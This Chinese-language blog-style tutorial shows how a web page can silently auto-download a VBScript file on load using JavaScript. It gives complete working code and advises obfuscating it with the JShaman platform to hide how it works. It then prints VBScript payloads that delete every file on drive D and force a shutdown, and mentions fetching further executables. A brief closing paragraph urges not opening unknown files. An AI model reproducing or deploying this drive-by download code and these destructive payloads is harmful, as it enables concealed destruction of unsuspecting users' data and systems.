正常情况下,当我们想要从网站下载某个文件时,一定是需要主动点击,才能出现下载操作。这是理所当然的。
但你是否遇到过这样一种场景:当打开某个网页时,未进行任何点击,然而后台自动下载了一个文件!
很可怕吧,像是种不可思议的黑魔法。但这是真实可以实现的,用JavaScript即可实现。
实现效果:
且看本演示:打开页面,后台自动下载了一个vbs文件。点击下载后的文件,vbs脚本文件被执行,弹出了一个hello窗口。如下:
由于是vbs脚本,因此,如果点击该文件,文件会被打开并执行:
选择打开,脚本被执行:
如页面源码所示,本示例,只是执行一句msgbox(“hello”)。
源码:
效果很不可思议,但实现的源码却很简单,完整代码如下,保存为html文件打开即可执行。
<html>
<script>
var blob = new Blob(['msgbox("hello")'],{type:'application/vbs'});
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = 'game.vbs';
a.click();
</script>
</html>
而如果要防止他人查看源码、了解实现原理,可以对源码中的JavaScript代码混淆加密。
比如使用JShaman平台,对上述代码加密:
加密后的代码:
Msgbox仅是一个弹窗,而vbs是可以实现很多强大而可怕的功能的。
比如:
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true
又如:
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true
能读懂这两段vbs脚本的话,可知:脚本执行可能带来很危险的后果。甚至可能下载其它的Exe并执行,等等。
防护:
如何防止这种威胁?文件是可能被自动下载的,不仅仅是vbs脚本,exe也可能。但只要不点击,便不会执行。因此,需增强安全意识,对于不明来源的文件:不点击、不打开、不执行。